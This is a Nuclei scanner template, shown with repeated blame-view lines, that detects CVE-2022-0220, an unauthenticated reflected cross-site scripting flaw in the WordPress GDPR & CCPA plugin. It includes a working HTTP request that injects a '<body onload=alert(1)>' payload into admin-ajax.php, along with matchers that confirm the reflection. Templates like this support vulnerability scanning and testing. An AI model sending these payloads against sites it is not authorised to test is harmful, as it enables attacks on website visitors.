nuclei-templates/cves/2022/CVE-2022-0220.yaml

id: CVE-2022-0220

info:
  name: WordPress GDPR & CCPA < 1.9.27 - Unauthenticated Reflected Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: The check_privacy_settings AJAX action of the WordPress GDPR WordPress plugin before 1.9.27, available to both unauthenticated and authenticated users, responds with JSON data without an "application/json" content-type. Since an HTML payload isn't properly escaped, it may be interpreted by a web browser led to this endpoint. Javascript code may be executed on a victim's browser. Due to v1.9.26 adding a CSRF check, the XSS is only exploitable against unauthenticated users (as they all share the same nonce)
  reference: https://wpscan.com/vulnerability/a91a01b9-7e36-4280-bc50-f6cff3e66059
  tags: cve,cve2022,wordpress,wp-plugin,xss

requests:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
        Accept-Language: en-GB,en;q=0.5
        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded
        Connection: close
        Upgrade-Insecure-Requests: 1

        action=check_privacy_settings&settings%5B40%5D=40&settings%5B41%5D=%3cbody%20onload%3dalert(1)%3e&nonce=XXXX

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        part: body
        words:
          - "<body onload=alert(1)>"
Create CVE-2022-0220.yaml 2022-07-18 13:40:25 +00:00			`id: CVE-2022-0220`

			`info:`
			`name: WordPress GDPR & CCPA < 1.9.27 - Unauthenticated Reflected Cross-Site Scripting`
			`author: daffainfo`
			`severity: medium`
			description: The check_privacy_settings AJAX action of the WordPress GDPR WordPress plugin before 1.9.27, available to both unauthenticated and authenticated users, responds with JSON data without an "application/json" content-type. Since an HTML payload isn't properly escaped, it may be interpreted by a web browser led to this endpoint. Javascript code may be executed on a victim's browser. Due to v1.9.26 adding a CSRF check, the XSS is only exploitable against unauthenticated users (as they all share the same nonce)
			`reference: https://wpscan.com/vulnerability/a91a01b9-7e36-4280-bc50-f6cff3e66059`
			`tags: cve,cve2022,wordpress,wp-plugin,xss`

			`requests:`
			`- raw:`
			`- \|`
			`POST /wp-admin/admin-ajax.php HTTP/1.1`
			`Host: {{Hostname}}`
			`Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8`
			`Accept-Language: en-GB,en;q=0.5`
			`Accept-Encoding: gzip, deflate`
			`Content-Type: application/x-www-form-urlencoded`
			`Connection: close`
			`Upgrade-Insecure-Requests: 1`

			`action=check_privacy_settings&settings%5B40%5D=40&settings%5B41%5D=%3cbody%20onload%3dalert(1)%3e&nonce=XXXX`
Fix trailing spaces 2022-07-18 13:57:48 +00:00
Create CVE-2022-0220.yaml 2022-07-18 13:40:25 +00:00			`matchers-condition: and`
			`matchers:`
			`- type: status`
			`status:`
			`- 200`

			`- type: word`
			`part: header`
			`words:`
			`- "text/html"`

			`- type: word`
			`part: body`
			`words:`
			`- "<body onload=alert(1)>"`